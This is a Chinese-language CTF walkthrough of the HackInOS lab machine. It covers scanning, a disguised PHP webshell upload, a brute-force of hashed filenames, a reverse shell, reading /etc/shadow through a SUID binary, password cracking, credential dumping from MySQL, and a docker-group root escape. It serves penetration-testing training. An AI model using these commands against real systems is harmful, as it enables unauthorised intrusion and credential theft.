HackInOS Walkthrough

Box Info

官网在这里 HackInOS: 1

image-20250325171754863

The Hack

先对目标主机进行端口发现

sudo nmap -p- 172.16.33.66

发现开放 22 和 8000 端口

image-20250325103311310

对开放的端口进行应用版本发现

sudo nmap -p 22,8000 -A -T4 172.16.33.66

22 端口对应的 SSH 版本较高,漏洞较少且利用较困难,8000 似乎是一个 WordPress 站点,还泄露了 robots.txt

image-20250325104528460

先来看 22 端口,尝试使用弱口令远程登陆 root 账号,同时看有没有泄露机密信息

ssh root@172.16.33.66

可惜失败了

image-20250325104911673

看来 22 端口我们暂时拿他没办法了,那么就来看看 8000 端口吧

访问 robots.txt 中的 /upload.php 目录,发现可以上传文件,有意思的是,无论传 PHP 文件还是图片,页面响应都为 :)

image-20250325105345399

image-20250325105428542

那我们去 /uploads 目录看看有没有上传成功?阿哲…

image-20250325105649877

再看看源码,发现 Hint 指向一个网址 https://github.com/fatihhcelik/Vulnerable-Machine

年代太久远了,已经是 404 了,只能去别人的 wp 里找源码了

<!DOCTYPE html>
<html>

<body>

<div align="center">
<form action="" method="post" enctype="multipart/form-data">
<br>
<b>Select image : </b>
<input type="file" name="file" id="file" style="border: solid;">
<input type="submit" value="Submit" name="submit">
</form>
</div>
<?php
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$rand_number = rand(1,100);
$target_dir = "uploads/";
$target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number));
$file_name = $target_dir . basename($_FILES["file"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($file_name,PATHINFO_EXTENSION));
$type = $_FILES["file"]["type"];
$check = getimagesize($_FILES["file"]["tmp_name"]);
if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){
$uploadOk = 1;
}else{
$uploadOk = 0;
echo ":)";
}
if($uploadOk == 1){
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file.".".$imageFileType);
echo "File uploaded /uploads/?";
}
}
?>

</body>
</html>

这段代码时 mime 类型检测和文件 md5 加密,同时不显示上传的目录

制作图片木马

cat php-reverse-shell.php >> picture.png
mv picture.png shell.php

上传成功

image-20250325151128807

编写脚本生成 shell.php 的所有可能 MD5 文件名并保存在文件中

import hashlib

filename = "shell.php"

def generate_username_dict():
usernames = set()
for rand_num in range(1, 101):
combined = filename + str(rand_num)
md5_hash = hashlib.md5(combined.encode()).hexdigest()
full_filename = md5_hash + ".php"
usernames.add(full_filename)

with open("dict.txt", "w") as f:
for username in usernames:
f.write(username + "\n")
print(f"[+] Generated {len(usernames)} possible filenames in 'dict.txt'")

if __name__ == "__main__":
generate_username_dict()

使用生成的字典文件爆破

dirb http://172.16.33.66:8000/uploads dict.txt

找到上传的文件

image-20250325162657576

开启 nc 监听,访问上传的文件,成功 getshell 并获得 TTY shell

python3 -c "import pty;pty.spawn('/bin/bash')"

image-20250325162854964

接下来是提权,查看有什么文件具有 SUID 权限

find / -perm -u=s -type f 2>/dev/null

发现 tail 具有 SUID 权限,tail 和 cat 相似,可以读取文件内容

image-20250325163046781

那就直接读取 /etc/shadow 中的 root 的密码

tail -n 100 /etc/shadow

获得 root 密码

image-20250325163534817

将密码保存为 hash 文件并使用 john 破解

vi hash
john hash

破解成功,密码为 john

image-20250325163843081

直接使用 su 提权,成功

image-20250325163931780

这 flag 感觉不太对啊

image-20250325164044018

提示我们注意细节,我们还有 22 端口 SSH 服务没用到,同时 WordPress 站点有大量的 MySQL 服务也没发掘

查看 WordPress 配置文件

cat /var/www/html/wp-config.php

找到了 WordPress 账号和密码

image-20250325164440356

由于目标主机没有开放 3306 端口,外部访问不了,尝试在回弹的 shell 中登陆 mysql

mysql -h db -u wordpress -p wordpress

成功进入数据库,查看列表

MySQL [wordpress]> show tables;

发现第一个列表有 SSH 关键词,能和之前我们猜想的一样

image-20250325165014712

尝试读取其中内容

MySQL [wordpress]> select * from host_ssh_cred;

发现账户名和密码

image-20250325165133622

使用 hashcat 破解加密后的密码

hashcat -a 0 -m 0 e10adc3949ba59abbe56e057f20f883e /usr/share/wordlists/rockyou.txt

密码为 123456

image-20250325165603369

由于目标主机开放 22 端口,使用 SSH 远程登陆

ssh hummingbirdscyber@172.16.33.66

登陆成功

image-20250325165657237

运行 id 命令,发现我们远程登陆的用户属于 docker 组,可以无需 sudo 直接操作 Docker

image-20250325170409408

由于需要知道使用的镜像名称执行如下命令查看,为 Ubuntu

lsb_release -a

image-20250325171437712

启动一个新的 Docker 容器,将宿主机的根目录 / 挂载到容器内的 /root 目录

保持标准输入(STDIN)打开,允许交互操作,同时分配一个伪终端(TTY)

docker run -v /:/root -i -t ubuntu /bin/bash

提权成功

image-20250325170703308

获得 flag

image-20250325170826685